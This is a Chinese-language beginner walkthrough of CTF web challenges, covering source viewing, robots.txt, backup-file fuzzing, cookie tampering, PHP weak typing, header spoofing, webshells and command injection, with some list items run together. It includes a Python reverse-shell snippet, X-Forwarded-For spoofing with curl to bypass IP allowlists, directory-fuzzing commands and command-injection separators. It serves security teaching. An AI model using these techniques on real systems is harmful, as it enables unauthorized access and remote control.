刚接触CTF的新手最容易遇到的第一个障碍,就是"明明知道flag就在页面上,但就是找不到"。View Source这关就是典型例子——当你发现鼠标右键被禁用时,千万别慌,这反而暴露了出题人的意图。我教学生时经常说:"前端限制都是纸老虎",这里有三种破解方法:
第一种是浏览器快捷键大法。Chrome下按Ctrl+U直接查看源码,Firefox用Ctrl+U或F12调出开发者工具。去年我带学生打比赛时,就遇到过禁用右键但没屏蔽快捷键的案例,这招屡试不爽。
第二种更彻底:地址栏协议。直接在网址前输入view-source:,比如view-source:http://example.com,就像用X光机直接透视网页骨架。这个冷门技巧很多人不知道,但它在某些禁用开发者工具的场合特别管用。
第三种是终端操作。用curl命令获取原始响应:
bash复制curl http://target-url
去年某次真实渗透测试中,目标网站用JavaScript多层屏蔽了源码查看,我就是用curl配合grep快速定位到了敏感信息。记住,前端花里胡哨的限制,在后端看来都是透明的。
robots.txt就像网站的门卫登记簿,但它有个致命弱点——完全靠自觉遵守。我带新手做实验时,总会让他们先访问/robots.txt,80%的CTF题解都藏在这里。去年一个企业内网靶场中,我们就通过robots.txt找到了后台管理路径。
但高手会玩得更深入:
bash复制python dirsearch.py -u http://target -e php,bak,zip
.git/或.svn/目录,能下载完整源码/admin.bak、/upload.old这类非标准命名有个实战技巧:用Burp Suite抓包时,注意观察响应头中的X-Powered-By字段,它常常会泄露服务器语言,帮你推测备份文件后缀。比如PHP站点通常用.php.bak,ASP.NET则用.aspx~。
Backup这关暴露了开发者的常见坏习惯。我整理过一份危险后缀清单:
.bak .old .temp.git .svn .hg.swp .swo (Vim生成).zip .tar.gz实战中推荐使用ffuf进行智能爆破:
bash复制ffuf -w wordlist.txt -u http://target/FUZZ
有个坑要注意:Windows系统生成的备份文件可能是index.php~,而Linux下常用.bak。去年某次红队行动中,我们就是通过尝试不同系统风格的备份命名,最终拿下了目标服务器。
Cookie这关教会我们:永远不要相信客户端数据。我让学生用Chrome开发者工具的Application面板查看Cookie时,他们总会惊讶地发现原来登录状态、用户偏好这些敏感信息都明码存储着。
几个必须掌握的技巧:
PHPSESSID等标识符有个真实案例:某电商网站将用户权限等级存在Cookie里,我们仅仅把role=user改成role=admin就进入了后台。现在很多系统会加密Cookie,但弱加密(如Base64)等于没加密。
Disabled Button这题展示了前端验证的脆弱性。我总结过前端限制的破解路线图:
display:none改成display:blockpython复制import requests
r = requests.post(url, data={'button': 'clicked'})
去年某金融系统漏洞报告中,就有通过修改前端金额验证参数实现0元购的案例。记住:前端验证就像门前的保安,后端验证才是保险库的钛合金门。
Weak Auth这关需要掌握爆破的基本礼仪。新手常犯的错误是乱用工具反而触发封禁。我的爆破工具箱总是备着这几个字典:
用Burp Intruder时要注意:
有个技巧:看响应长度比看内容更可靠。某次实战中,虽然返回都是"登录失败",但正确密码的响应长度总是多3个字节——因为服务器多返回了个隐藏的错误计数器。
Simple PHP这题展示了弱类型语言的特性。PHP的==比较会引发各种魔术:
"123" == 123 → true"0e123" == "0e456" → true (科学计数法都等于0)null == false → true安全编码应该:
===严格比较is_numeric()检测去年某CMS漏洞就是因为in_array()没开严格模式,导致0匹配上了任何以0开头的管理员ID。我建议新手在php.ini里设置display_errors=On,很多类型问题会直接报警。
Get Post这关需要理解HTTP基础。GET就像明信片,参数全在地址栏;POST像密封信件,内容在信封里。但两者都不安全——都需要HTTPS加密。
实战技巧:
有个常见误区:以为POST比GET安全。其实在抓包工具面前两者都是透明的。某次渗透测试中,我们发现目标系统用POST传密码,但没加密也没防重放,照样可以中间人攻击。
XFF Referer这关教我们HTTP头部的可伪造性。现代浏览器插件如ModHeader可以轻松修改这些信息,但更专业的做法是用cURL:
bash复制curl -H "X-Forwarded-For: 1.1.1.1" -H "Referer: https://google.com" http://target
需要注意:
去年某WAF配置失误案例中,我们通过伪造XFF头成功绕过了IP白名单限制。现在高级防护系统会结合TCP指纹、行为分析等多因素判断真实源IP。
Webshell题目展示了最基础的权限维持手段。虽然题目用了"菜刀"这类图形化工具,但我建议新手从基础学起:
python复制import socket,subprocess
s=socket.socket();s.connect(("ip",port))
subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())
必须提醒:未经授权的Webshell使用是违法行为。某次企业授权测试中,我们发现运维人员自己留的后门反而被黑客利用,成了内网渗透的跳板。
Command Execution这关是典型的"功能变漏洞"。除了常见的&&连接符,还要测试:
;(Unix命令分隔)|(将前命令输出作为后命令输入)`(执行子命令)$()命令替换防御方案:
某真实漏洞报告中,攻击者通过精心构造的DNS查询参数,在监控系统中实现了命令注入。这提醒我们:任何用户可控的输入点都可能是注入入口。
Simple JS这题需要基本的代码分析能力。现代前端混淆技术越来越复杂,但基本套路不变:
进阶技巧:
去年某金融APP的漏洞,就是通过逆向其加密JavaScript发现了API密钥生成规律。建议新手先从简单的代码读起,逐步培养逆向思维。